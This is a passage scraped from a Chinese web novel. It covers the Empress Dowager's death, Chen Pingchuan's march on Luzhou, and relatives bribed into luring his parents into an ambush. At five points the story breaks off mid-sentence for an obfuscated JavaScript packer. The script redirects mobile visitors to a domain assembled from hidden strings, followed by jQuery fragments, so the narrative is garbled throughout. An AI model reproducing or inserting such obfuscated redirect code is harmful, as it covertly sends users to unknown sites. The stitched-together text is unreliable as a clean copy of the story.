看着梁太后那张因窒息而变得青紫、扭曲的脸,罗氏的脸上,没有丝毫的快意,只有一片平静的漠然。 “作了一辈子孽,总算是到头了。”她淡淡地说。 凤三娘的目光,落在了地上的一块破布上。 那是从梁太后衣服上撕下来的一角,上面用木炭,歪歪扭扭地写着四个字: “悔之晚矣”。 凤三娘捡起那块布,在手心捏成一团,神情复杂。 “早知今日,何必当初。”她沉默了半晌,才开口说道,“传令下去,用一张草席把她卷了,到后山随便找个地方埋了。不用立碑,就当这个人,从来没有来过。” “是,大当家。” 一个祸乱了朝纲数十年的女人,一个导致了王朝覆灭的罪魁祸首之一,最终,就以这样一种悄无声息的方式,结束了她罪恶的一生。 她的死,没有在黑风寨引起任何波澜。 山寨里的人们,依旧在为即将到来的大战,做着准备。 凤三娘站在聚义厅前的悬崖边,眺望着北方的天空。 梁太后的死,不是结束,只是一个微不足道的插曲。 真正的风暴,还在中原大地上肆虐。 她握紧了手中的剑,心中只有一个念头。 “陈平川,你什么时候,才能回来?” …… 大军自西域入境,一路东进,势如破竹。 这支百战之师军容严整,杀气冲天,尤其是犀利的火器,让沿途的大业官军和各路起义军望风而逃,不敢有丝毫阻拦。 行军异常顺利,兵锋已遥指京畿。 然而,不等他们抵达,一个惊天的消息便快马传来——京城,被蛮族攻破了! 听着信使的情报,陈平川眼底一片清冷,问道:“情报上可有说,蛮族主力如今的动向?” 信使立即回答道:“阿保机在京城大肆搜刮之后,并未久留。他留下部分兵力,主力已向南推进,似乎意图席卷整个中原。此外……此外还有一份情报。” 他从驿卒的包裹里,又找出另一份小一些的密信。 “这是我们‘暗影’在南方的探子传回来的。说……有一支约三千人的蛮族精锐骑兵,脱离了主力大军,正一路向东南方向急行,目标……似乎是庐州府。” “庐州?!” 陈平川的心,猛地一沉! 庐州! 他的家乡!他的父母,凤三娘,张静姝,张若素……他所有在乎的人,几乎都在那里! “为什么他们要去庐州?” 陈平川原本平静的声音出现了波动。 信使沉吟片刻,回答道:“主公,有传闻……梁太后逃到了庐州府。” 瞬间,一个念头闪电般划过他的脑海。 原来是梁太后! 她是打算投奔庐州知府李汶洛吗? 所以,这支蛮族骑兵,不是冲着攻城略地去的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328718|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们是去抓人的! 阿保机那个老狐狸,显然是想把大业朝的皇室余孽一网打尽,彻底断绝大业朝复辟的可能! 一股冰冷的寒意,从陈平川的脚底板,瞬间窜到了天灵盖! 他不敢想象,如果这三千如狼似虎的蛮族骑兵冲到黑风寨,会发生什么!凤三娘她们虽然有些武力,但如何能抵挡三千装备精良的蛮族铁骑? 梁太后的死活他不关心,但亲人和朋友的安危,他放不下! “来人!”陈平川猛地转身,声音冷厉。 “传我将令!” “命秦锋,即刻点齐三千‘破风骑’!” “命石头,点齐五千‘破虏军’!” “全军携带十日干粮,所有火铳、火炮、震天雷,全部带上!一个时辰后,在城外集合!” “目标,庐州!!” “林勇,你坐镇后军,徐徐跟上!” 林勇神色凝重,上前一步:“主公!我军从西域长途跋涉,将士疲惫,且局势不明,此时贸然出击,万一……” “没有万一!”陈平川断然打断了他,“庐州,我必须亲自去!后军我交给你,我相信你能稳住局面。” 他的目光扫过众人,声音里带着一丝颤抖:“我的家人,在那里。” 众人瞬间沉默了。 他们可以为主公征战四方,可以为主公流血牺牲,但他们不能保护主公的家人,受到伤害。 秦锋第一个单膝跪地,声如洪钟:“末将愿为主公前驱,荡平蛮夷!” “末将愿往!”石头瓮声瓮气地吼道,巨大的身躯跪在地上,仿佛一座小山。 “我等,誓死追随主公!” 营帐外,所有的将士,齐刷刷地单膝跪地,声震云霄。 林勇看着陈平川那双布满血丝,却坚定无比的眼睛,知道再劝无用。 他深深一揖,沉声道:“主公此去,万望保重!后军有末将在,请主公放心!” 陈平川重重地点了点头,不再多言。 一个时辰后,八千精锐,铁甲森森,刀枪如林,集结完毕。 这是陈平川麾下,最精锐的百战之师。 陈平川勒马阵前,拔出腰间的长刀,刀锋直指东方。 “全军,出发!” 大军开拔,烟尘滚滚,向着庐州府的方向,狂飙而去。 此时,陈平川的心中只有一个念头。 爹,娘,三娘、静姝……你们,一定要等我! 第358章 陈平川的逆鳞!致命的软肋! 庐州,知府衙门。 梁太后逃走的消息,就像一块巨石压在了李汶洛的心头,让他坐立不安。 他“挟太后以令诸侯”的春秋大梦,还没开始就碎了一地。 更让他寝食难安的是,有传言说,那老虔婆很可能已经被黑风寨抓走! 一想到自己的**资本,反而可能成了别人的囊中之物,他就恨得牙痒痒。 这时,一个亲兵连滚带爬地冲进大堂,脸色惨白如纸,“王……王上!不好了!” “混账东西!什么事如此慌张!天塌下来了不成!”李汶洛正在心烦意乱,大声训斥。 那亲兵趴在地上,声音都变了调:“王上!探马急报!城东三十里外,发现……发现大批蛮族骑兵!黑压压的一片,至少有数千人!” “什么?!”李汶洛“噌”地一下从椅子上弹了起来,手里的茶杯“咣当”一声摔在地上,碎成了几瓣。 蛮族! 这两个字,让他浑身的血液都快凝固了。 京城被屠的惨状,他早有耳闻。那些**不眨眼的恶魔,真的跑到他这庐州来了? 还没等他从这个惊天噩耗中回过神来,另一个探子也跌跌撞撞地跑了进来。 “报——!王上!城西五十里外,发现另一支大军!旗号是‘陈’!好像是……是陈平川的军队!” “陈……陈平川?!” 李汶洛只觉得眼前一黑,双腿一软,一屁股瘫坐回了椅子上,面如死灰。 一个蛮族已经够让他魂飞魄散了,现在又来一个陈平川! 这**是什么世道! 一个是**不吐骨头的豺狼,一个是跟他有深仇大恨的猛虎! 他这小小的庐州城,怎么就成了风暴的中心?他感觉自己就像一只被两头巨兽盯上的兔子,怎么跑都是个死。 “完了……全完了……”李汶洛失魂落魄地喃喃自语,额头上冷汗涔涔。 “王上何必如此惊慌?” 就在这时,一个慢悠悠的声音从旁边传来。 李汶洛抬头一看,正是之前为他出谋划策的军师。 此人名叫徐佑,是个落魄书生,因为屡试不第,心生怨怼,后来投靠了李汶洛,专出一些阴损毒辣的主意,深得李汶洛的信任。 徐佑正摇着一把羽扇,不紧不慢地走了过来,脸上还带着一丝莫测的微笑。 “徐先生!你……你还笑得出来!”李汶洛像是抓住了救命稻草,一把拉住他的袖子,“蛮子和陈平川都打过来了!我们死定了!死定了!” “王上此言差矣。”徐佑不以为意地笑了笑,掰开李汶洛的手,“之前徐某不是和您说过嘛,这非但不是一场危机,反而是一场天大的机遇啊!” “机遇?”李汶洛愣住了,怀疑自己是不是听错了,“死到临头了,哪来的机遇?” “看来王上已经忘了,那徐某再和您分析一遍。”徐佑走到大堂中央,胸有成竹地分析道,“蛮族为何而来?陈平川又为何而来?他们的目标,真的是我们这小小的庐州城吗?” 李汶洛呆呆地摇了摇头。 “蛮族的目标,十有**是为那逃走的梁太后。而陈平川,他的家眷亲人,可都在城外的黑风寨。他们两方,才是真正的死敌!” 徐佑的眼睛里闪烁着兴奋的光芒,“他们一南一北,恰好将我们庐州夹在中间。这说明什么?” “说明……说明他们会在这里碰上?”李汶洛渐渐明白过来。 “然也!”徐佑一拍手掌,“我们现在要做的,不是惊慌失措,而是立刻下令,紧闭四门,全军上城,严防死守!让他们在城外斗!斗个你死我活,两败俱伤!” “这……这能行吗?”李汶-洛还是有些不安,“这不就是坐山观虎斗吗?” “正是此计!”徐佑得意地说道,“等他们斗得精疲力尽,我们再开城,坐收渔翁之利!岂不美哉?” 李汶洛的心思活络了起来。这主意听起来确实不错。 可他转念一想,又皱起了眉头:“先生,这招怕是不妥。那蛮族贪婪成性,如果他们打赢了,或许给些金银财宝,能放过我们。可陈平川……我当初可是梁太后的人,他老家被抄,他被逼远走西域,都和我脱不了干系。他要是赢了,第一个要清算的就是我!他可不是金银财宝能打发的!” 李汶洛越想越怕。陈平川那家伙,可是个睚眦必报的主!从他一路崛起的经历来看,得罪他的人,就没一个有好下场的。 “呵呵,王上多虑了。”徐佑仿佛早就料到他会有此一问,嘴-角勾起一抹阴冷的笑容。 “对付蛮族,我们有金钱美女。对付陈平川,我们自然也有对付他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336355|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法子。” 他凑到李汶洛耳边,压低了声音,像一条吐着信子的毒蛇。 “王上,您可曾听过一句话?叫‘龙有逆鳞,触之必死’。” “陈平川这条龙,看似无懈可击,但他也有逆鳞。而他的逆鳞,就是他的家人!” 徐佑的眼中,闪烁着毒计的光芒。 “据小人所知,陈平川虽然把他父母和一些朋友亲信接到了黑风寨,但他老家桃花村,可还有一大帮子亲戚在呢。比如他的大伯陈仲文,三叔陈仲武……” “那些人,我派人打听过,一个个都是些见利忘义,贪婪短视之辈。” “我们只需派人,带上足够的金银,再去稍加威吓,不怕他们不为我们所用。” “只要我们能利用他们,将陈平川的父母,从黑风寨那个乌龟壳里骗出来,抓在手里……” 徐佑没有再说下去,只是做了一个“抓”的手势,脸上露出了“你懂的”的笑容。 李汶洛的眼睛,瞬间亮了! 对啊! 我怎么没想到! 只要抓住了陈平川的爹娘,他陈平川再厉害,还不是得乖乖听我的话?到时候,别说让他不攻打庐州,就是让他把整个军队都交出来,也不是不可能! “妙计!妙计啊!”李汶洛激动地一拍大腿,脸上的恐惧一扫而空,取而代之的是一种病态的兴奋。 “徐先生真乃神机妙算!此事若成,你当居首功!” 他立刻站起身,对着门外大声喊道:“来人!传我的亲卫队长王虎进来!” 一个满脸横肉,腰悬钢刀的壮汉快步走了进来,单膝跪地:“王上!” 李汶洛看着他,吩咐道。 “王虎,本王现在交给你一个重要任务!你立刻带上一百精兵,备上两箱黄金,十箱丝绸,去城外的桃花村……” 他压低声音,将徐佑的毒计,一字一句地交代了下去。 王虎听完,眼中凶光一闪,咧嘴点头:“王上放心!小人保证,把那两个老东西,给您请回来!” 看着王虎领命离去的背影,李汶洛仿佛已经看到了陈平川跪在自己面前摇尾乞怜的场景,忍不住放声大笑起来。 “陈平川啊陈平川,任你英雄盖世,还不是要栽在本王的手里!哈哈哈哈!” 大堂里,回荡着他疯狂而又得意的笑声。 第359章 荣华富贵迷人目,骨肉相残为利途 桃花村,陈家老宅。 自从陈老太爷和老太太**之后,这座宅院便冷清了下来。 大房的陈仲文依旧是那副半死不活的秀才模样,整日除了摇头晃脑地念几句酸诗,就是抱怨自己时运不济,怀才不遇。 他的婆娘刘氏,则尖酸刻薄更胜往日,总觉得二房占了天大的便宜,却把他们这些至亲丢在乡下,逢人便说罗氏的坏话。 三房的陈仲武倒是会钻营,借着陈平川的名头,在庐州城里接了些木匠活,赚了点小钱,但为人依旧是那般见风使舵,油嘴滑舌。 他婆娘王氏,更是个不安分的主,总觉得自己天生富贵命,跟着陈仲武生活没盼头,甚至偷着和村里一个汉子眉来眼去。 至于陈平西和陈平娇几个小辈,更是有样学样,好吃懒做,不学无术。 这一日,陈家老宅的大门,罕见地被人“砰砰砰”地敲响了。 正在院子里喂鸡的刘氏不耐烦地喊道:“谁啊!催命呢!” 她趿拉着鞋,不情不愿地去开了门,一开门,顿时愣住了。 只见门外站着一个满脸横肉的军官,身后跟着十几个手持钢刀、杀气腾腾的士兵。而在士兵的身后,还停着一辆大车,车上盖着油布,看不清装的是什么。 “你……你们是什么人?要干什么?”刘氏吓得脸都白了,说话都有些结巴。 为首的军官,正是李汶洛的亲卫队长王虎。他咧嘴一笑,露出一口黄牙,推开刘氏,大摇大摆地走了进去,目光在院子里扫了一圈。 “这里就是陈平川的老家?” 陈仲文和陈仲武夫妇听到动静,也都从屋里跑了出来,看到这阵仗,一个个都吓得不敢出声。 “军爷,军爷有话好说,我们都是良民啊!”还是陈仲武反应快,连忙挤出笑脸,点头哈腰地迎了上去。 王虎根本不理他,径直走到院子中央,对着手下挥了挥手。 几个士兵立刻上前,一把掀开大车上的油布,将一口口箱子搬进院子来。 “哗啦——” 金光闪闪!珠光宝气! 两只大箱子被打开,里面装满了黄澄澄的金锭和白花花的银元宝,在阳光下耀得人睁不开眼!另外几口箱子,则是五彩斑斓、光华流转的上等丝绸和锦缎! 陈家众人的呼吸,在这一瞬间,全都停滞了。 他们的眼睛,死死地盯在那两箱金银上,再也挪不开了。 尤其是刘氏和王氏,两眼放光,口水都快流下来了。 她们这辈子,哪里见过这么多的钱! “这……这是……”陈仲文结结巴巴地问道,读书人的那点矜持,在金钱面前,瞬间土崩瓦解。 “我家王上,庐王殿下,听闻陈氏一族乃是庐州望族,特命我等,送些薄礼前来,与诸位结个善缘。”王虎慢悠悠地说道,满意地看着他们那副贪婪的嘴脸。 “庐王?”陈仲文愣了一下,“哪个庐王?” “放肆!”王虎脸色一沉,“如今这庐州地界,除了李汶洛大人,谁还敢称王?!” 李汶洛! 陈家众人心里咯噔一下。他们再孤陋寡闻,也知道如今庐州的统治者是谁。 陈仲武的脸色变了变,小心翼翼地问道:“军爷,这……这无功不受禄,我们陈家小门小户,实在当不起王上如此厚爱。您看……” 他虽然贪财,却也比陈仲文多了个心眼,知道这烫手的钱不好拿。 “哼,当不当得起,可由不得你们。”王虎冷笑一声,话锋一转,声音陡然变得阴森起来。 “实话和你们说吧,蛮子已经打过来了。不日即将兵临城下。我家王上,体恤百姓,将率全城军民,共抗蛮夷!” “而你们,是陈平川的亲人。当初,陈平川在顺城打破蛮族,杀了不少蛮人,是蛮族的死敌,你们说,要是让城外的蛮子知道了,会怎么样?” 王虎顿了顿,一字一句地说道:“到时候,只怕是满门抄斩,鸡犬不留!” 这句话,像一盆冰水,兜头浇在了陈家众人的头上。 他们脸上的贪婪,瞬间被恐惧所取代。 是啊!他们是陈平川的亲人!这个身份,在太平时节是荣耀,是靠山。 可是在这乱世,在陈平川的敌人面前,就是催命符! “军……军爷饶命啊!”刘氏第一个反应过来,“扑通”一声跪在了地上,哭天抢地,“我们跟陈平川那一家子早就没关系了!他们发了财,就把我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336356|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们扔在乡下不管不问,我们恨死他们了!军爷明察啊!” “对对对!”王氏也连忙跪下,挤出几滴眼泪,“我们跟他们不是一路人!求王上开恩,别把我们跟他们算在一起啊!” 陈仲文和陈仲武也吓得面无人色,哆哆嗦嗦地跪倒在地,连连磕头。 几个小辈躲在屋里不敢出来,但也在心里痛骂陈平川一家人。 “哼,想活命,也容易。”王虎看着他们这副丑态,眼中充满了鄙夷。 “我家王上说了,只要你们替他办成一件事,这些金银绸缎,就全是你们的!不仅如此,日后王上得了天下,保你们个个都是国公侯爵,享不尽的荣华富贵!” “什么事?军爷您说!只要我们能办到,上刀山下火海,在所不辞!”陈仲武迫不及待地表态。 王虎的脸上,终于露出了阴险的笑容。 “很简单。你们想个法子……比如写封信,把陈平川的爹娘,从黑风寨上给骗下来。” “什么?!” 此话一出,四人都是一惊。 让他们去骗陈仲和夫妇?这……这可是出卖亲兄弟啊! 陈仲文的脸上,闪过一丝犹豫。 再怎么说,那也是他亲弟弟。 但刘氏却不这么想,她一听,眼睛就亮了。 她爬到陈仲文身边,掐了他一把,压低声音道:“你傻了啊!这是我们唯一活命的机会!你想想,二房那一家子现在过的是什么日子?再想想我们!他们管过我们死活吗?现在有机会发大财,你还犹豫什么!” 王氏也在旁边添油加醋:“就是啊!大哥,富贵险中求!再说了,我们只是把他们骗下来,又不是要害他们性命。王上抓了他们,肯定是要跟陈平川谈判,到时候说不定还能换来更大的好处呢!” 金钱的诱惑,死亡的恐惧,再加上两个女人的煽风点火,陈仲文心中那最后一点点亲情和良知,很快就被淹没了。 “三弟,你看……” 陈仲文最后看向陈仲武,后者表情变幻不定,显然也在激烈地盘算着得失。 最终,两兄弟都在对方眼里看到了答案,陈仲文咬了咬牙,抬起头,对王虎说道:“军爷!这事……我们干了!” 第360章 贪欲生诡计,家书索命来 “好!识时务者为俊杰!”王虎满意地点了点头,“那你们就商量商量,用个什么由头,才好让他们不起疑心。” 四人凑到一起,嘀嘀咕咕地商量起来。 “就说……就说爹的忌日快到了,要开祠堂祭祖,让他们必须回来?”陈仲文提议。 “不行,”王氏立刻否定了,“这借口太老套了。罗氏精明得很,未必会信。” 她眼珠子一转,计上心来。 “有了!就说……就说老太爷托梦了!”王氏一脸神秘地说道,“说咱们陈家祖坟的风水出了问题,影响子孙后代的气运,必须在三天之内,由长子长媳,嫡子嫡媳,一起到祖坟前,行三跪九叩的大礼,烧九尺九的黄纸,才能化解!” “这个说法,又急又重,还扯上了鬼神和子孙后代,由不得他们不信!尤其是罗氏那个婆娘,最是信这些,也最疼她儿子,一听关系到陈平川的气运,她肯定会急着下山!” 此计一出,其他三人都觉得大妙。 “好!就这么办!”陈仲文一拍大腿,“这信,我来写!为了让老二家相信,你们都在上面按下手印!” 说干就干,陈仲文立刻回屋,铺开纸笔,写下了一封情真意切、万分紧急的家书。 众人将手印按上,陈仲文拿过来看了一遍,满意地点了点头,交给王虎。 王虎接过信,满意地点了点头:“很好。你们就在家等着好消息吧。事成之后,少不了你们的好处!” 说完,他便带着信和士兵,扬长而去,只留下那一车金银绸缎,和四个被贪欲和恐惧冲昏了头脑的人。 看着那满院子的财富,刘氏和王氏扑了上去,抱着金锭又亲又笑,丑态百出。 几个小辈这时候也冲了出来,争抢着地上的金银绸缎,甚至厮打起来。 而陈仲文和陈仲武,则面色复杂地站在一旁,不知道是激动,还是心虚。 …… 黑风寨,后院。 罗氏正在和张静姝、张若素一起缝补着山寨弟兄们的衣物。 梁太后的死,让她出了一口恶气,但并未给她带来多少快慰。 天下大乱,国破家亡,她那远在他乡,不知何时才能归来的儿子,才是心中最大的牵挂。 “婶子,您歇会儿吧,眼睛都快花了。”张若素放下手中的针线,心疼地给罗氏递过一杯热茶。 “不碍事,多缝一件,弟兄们就少挨点冻。”罗氏笑了笑,接过茶杯,正要喝,一个山寨妇人快步走了进来。 “罗夫人,山下有人送来一封您的家书。” “家书?是我儿子写的?”罗氏精神一振,连忙站了起来,“快拿来我看看!” 妇人将一封有些陈旧的信件递了过来。 罗氏急急接过信,看了一眼,才想起自己不识字,便交给了旁边的张若素。 张若素在众人迫切的目光中,读了起来。 “二弟,别来无恙……咦,婶子,这信不是平川写的。” 罗氏也愣住了,随后反应过来:“是平川他大伯,陈仲文写的吧?他写信给我们做什么?若素,哼,准没好事!你接着念。” 张若素点点头,便继续往下念: 信中说,老太爷近日频频给他们托梦,说陈家祖坟的风水出了大问题,煞气外泄,会严重影响子孙后代,尤其是陈平川的气运和前程。 必须在三天之内,由陈仲和与罗氏夫妇,亲自回乡,到祖坟前行三跪九叩的大礼,才能化解这场大劫。 信中言辞恳切,万分紧急,字里行间都透露着对陈平川的担忧。 罗氏越听,脸色越是凝重。 她本就是乡下妇人,对这些祖宗风水、鬼神之说,向来是宁可信其有,不可信其无。 更何况,这事还牵扯到她最宝贝的儿子平川! “当家的!当家的你快来!”罗氏拿着信,急匆匆地跑出去,找到正在干活的陈仲和。 陈仲和听了罗氏的讲述,憨厚老实的脸上也露出了紧张之色。“这……大哥信里说得这么严重,还关系到平川……” “不行!我必须得下山一趟!”罗氏当机立断,语气不容置疑,“平川一个人在外面拼死拼活,我们做爹娘的,怎么能拖他后腿呢!这祭祖的事,半点马虎不得!” “可是……现在山下这么乱……”陈仲和有些担心。 “乱怕什么!咱们速去速回,天黑前肯定能赶回来!”罗氏主意已定,拉着陈仲和就要去找凤三娘。 结果被张静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343001|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姝拦住了。 “婶子,您先别急。”张静姝劝道:“我总觉得,这里面不对劲!” “静姝啊,这事急啊!关系到平川呢!”罗氏焦急地说道。 “婶子,您想啊,”张静姝扶着她,条理清晰地分析起来,“现在是什么时候?蛮子都快打过来了,庐州城里是李汶洛的地盘,山下乱成一锅粥。您那大伯子,早不来信晚不来信,偏偏挑这个时候,让您下山祭祖?这也太巧了吧?” “而且,您看这信里说的,又要托梦,又要三天之内,说得这么邪乎,就是想让您着急,没时间仔细想。我瞧这事儿八成有鬼!” 张静姝一向古灵精怪,看问题总能看到点子上。 旁边的张若素也蹙起秀眉,柔声劝道:“是啊,伯母。静姝妹妹说得有理。祭祖之事,固然重要,但自身安危更要紧。如今时局动荡,人心难测,不得不防。此事,还是从长计议为好。” 就在这时,凤三娘也闻讯赶了过来。她从罗氏手中拿过信,仔细看了一遍,清冷的眸子里闪过一丝警惕。 “婶子,静姝和若素说得对,这其中定然有诈!”凤三娘的声音很冷静,“平川的大伯和三叔是什么样的人,您比我们清楚。他们会这么好心,为了平川的气运,特地送信上来?我看不像。我倒觉得,他们更像是被人收买了,故意想把您和叔叔骗下山。” “这……”罗氏被她们三人说得也有些动摇了。 她知道自家那两个妯娌和伯叔是什么德性,确实不是什么善茬。可是…… “万一是真的呢?万一真的影响到平川怎么办?我……我赌不起啊!”罗氏的声音里带上了哭腔。 为人父母,最怕的就是听到任何可能对子女不利的消息,哪怕明知可能是假的,也忍不住要去相信。 看着罗氏那焦灼担忧的样子,凤三娘几人也知道,再怎么劝,也打消不了她心里的那份担忧。 凤三娘沉吟了片刻,心中有了计较。强行阻拦,只会让罗氏心中留下芥蒂,日夜不安。不如…… “这样吧,婶子。”凤三娘开口道,“您和叔叔的心情,我们都理解。既然您非去不可,我也不拦着您。但是,您必须答应我几个条件。” 第361章 凤舞九天潜龙潭,一人一剑赴庐城 “你说!只要能让我去,我都答应!”罗氏连忙道。 “第一,不能去桃花村,更不能进庐州城。你们只到山下的约定地点祭拜,祭拜完了立刻返回。” “第二,我会派出山寨里最精锐的二十名弟兄,由二当家铁牛亲自带队,一路护送你们。你们全程都不能离开他们的视线。” “第三,不管发生什么事,必须在天黑之前回到山寨。如果天黑前回不来,我便会亲率大队人马下山接应。” 凤三娘的安排,可以说是滴水不漏。既顾及了罗氏的心情,又最大限度地保证了他们的安全。 罗氏听了,心中的石头也落下大半,连连点头:“好,好!三娘,还是你想得周到!我们就这么办!” 张静姝还是觉得不放心,拉着凤三娘的袖子,小声说:“三娘姐姐,这样真的行吗?我总觉得心里不踏实。” 凤三娘拍了拍她的手,低声道:“放心,我让铁牛带去的,都是寨子里的好手。而且我已在沿途安排了暗哨,一旦有变,消息会立刻传回山寨。” 安排妥当后,罗氏和陈仲和换了身干净的衣服,带上香烛纸钱,在铁牛等二十名山寨好汉的护送下,朝着山下走去。 凤三娘、张静姝和张若素站在山寨门口,目送着他们的背影消失在山道的拐角处。 不知为何,凤三娘的心头,忽然咯噔一下,像是被什么东西揪住了。 她眺望着庐州城的方向,眉头微蹙,总觉得那边像一头择人而噬的猛兽,正张着血盆大口,等着他们自投罗网。 …… 山路崎岖,一行人走得并不快。 铁牛是个粗中有细的人,虽然他也不信什么托梦之说,但既然是大当家亲自下的命令,他便打起了十二分的精神。 二十名山寨好汉,将罗氏夫妇护在最中间,前后左右都有人警戒,队形严密,一丝不苟。 罗氏心里装着事,一路上也没怎么说话,只是催促着众人快点走。 大约走了一个多时辰,他们终于来到了距离桃花村还有数里地的一片小树林。 按照信中所说,陈仲文等人会在这里等他们,一起祭拜。 “就在这吧。”罗氏停下脚步,陈仲和打开包裹,拿出祭品,等着陈仲文等人出现。 铁牛则没有放松警惕,他一挥手,沉声命令道:“兄弟们,散开!五人一组,警戒四周!任何风吹草动,立刻鸣哨示警!” “是,二当家!” 好汉们立刻散入林中,警惕地观察着周围的动静。 林子里很安静,只有风吹过树叶的沙沙声,和夫妻俩低声议论。 “大哥他们什么时候来?” “不知道啊,按理说,他们应该比咱们先到……” 两人环顾四周,除了铁牛等人,这里安静的怕人。 就在这时,异变陡生! “咻!咻!咻!” 数十支利箭,毫无征兆地从林子深处激射而出,带着尖锐的破空之声,射中了外围警戒的几名山寨好汉! “有埋伏!保护夫人和老爷!” 铁牛反应最快,他发出一声怒吼,一把推开还在发愣的罗氏夫妇,同时挥舞起手中的大**,舞得像一团旋风,“叮叮当当”地磕飞了射向他们的数支冷箭。 其他山寨好汉也纷纷反应过来,各自寻找掩体,拔刀反击。 “杀!” 随着一声呐喊,上百名身穿庐州官兵服饰的士兵,从林中四面八方涌了出来,将他们这二十几人团团包围! 为首的,正是李汶洛的亲卫队长,王虎! “哈哈哈!黑风寨的杂碎们,你家王虎爷爷在此,还不快快束手就擒!”王虎狞笑着,挥刀一指。 “是官兵!我们中计了!”铁牛目眦欲裂,他知道,这下麻烦大了。 对方人数是他们的五倍不止,而且显然是有备而来。 “弟兄们!跟他们拼了!掩护军师爹娘冲出去!”铁牛咆哮着,一马当先,挥舞着大刀,迎着官兵就冲了上去。 黑风寨的好汉,个个都是亡命之徒,悍不畏死。虽然人数处于绝对劣势,但他们依旧爆发出了惊人的战斗力,与官兵们惨烈地厮杀在一起。 刀光剑影,血肉横飞。 罗氏吓得脸色惨白,紧紧地拉着丈夫的手,躲在铁牛身后。 她此刻悔得肠子都青了,要不是她执意下山,怎么会落入这般险境! “陈仲文,陈仲武!你们这些天杀的!不得好死!”罗氏对天,破口大骂。 王虎嘿嘿一笑,道:“婆娘,等抓了你,让你儿子跪在我家王上面前求饶时,你就知道谁不得好**!” 他并不急着进攻,只是指挥着手下,不断压缩包围圈,消耗着黑风寨好汉们的体力。 铁牛虽然勇猛,但双拳难敌四手。他身上很快就添了数道伤口,鲜血染红了衣襟。 身边的弟兄,也一个接一个地倒下。 “二当家!你带夫人和老爷快走!我们给你断后!”一个好汉吼道,随即被数把钢刀捅穿了身体。 “走!” 铁牛双眼赤红,他知道再不走就全完了。 拉起罗氏和陈仲和,铁牛朝着包围圈一个相对薄弱的方向,奋力杀了过去。 然而,王虎早有准备。就在他们即将冲出包围圈的时候,一张巨大的渔网,从天而降,劈头盖脸地罩了下来! 铁牛躲闪不及,被渔网罩了个正着,他奋力挣扎,但那网是用牛筋制成,坚韧无比,越挣扎缠得越紧。 官兵们一拥而上,用刀柄枪杆,对着他就是一顿猛砸。 “啊!”铁牛发出一声不甘的怒吼,最终还是被砸晕了过去。 罗氏和陈仲和两个手无缚鸡之力的普通人,更是瞬间就被官兵们按倒在地,用绳子捆了个结结实实。 王虎得意地走了过来,一脚踩在铁牛的脸上,啐了一口:“呸!什么黑风寨好汉,不堪一击!” 他蹲下身,盯着罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16342981|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏和陈仲和,狞笑道:“二位,现在跟我们走一趟吧!” …… 黑风寨。凤三娘站在聚义厅前的悬崖边,心神不宁地眺望着山下的方向。 眼看着太阳渐渐西斜,天色越来越暗,可铁牛他们,还没有回来。 天色彻底黑透,凤三娘再也坐不住了。 她猛地一挥手,对身边的亲信喝道:“点齐三百弟兄,跟我下山!” 一行人举着火把,心急火燎地赶到约定的树林,眼前的一幕让所有人都倒吸一口凉气。 火光之下,只见林间横七竖八地躺着十几具山寨好汉的尸体,空气中弥漫着浓重的血腥味。 凤三娘心中一沉,快步上前,终于在一堆尸体旁,发现了浑身是血、昏死过去的铁牛。 “快!救醒他!” 凤三娘厉声道。 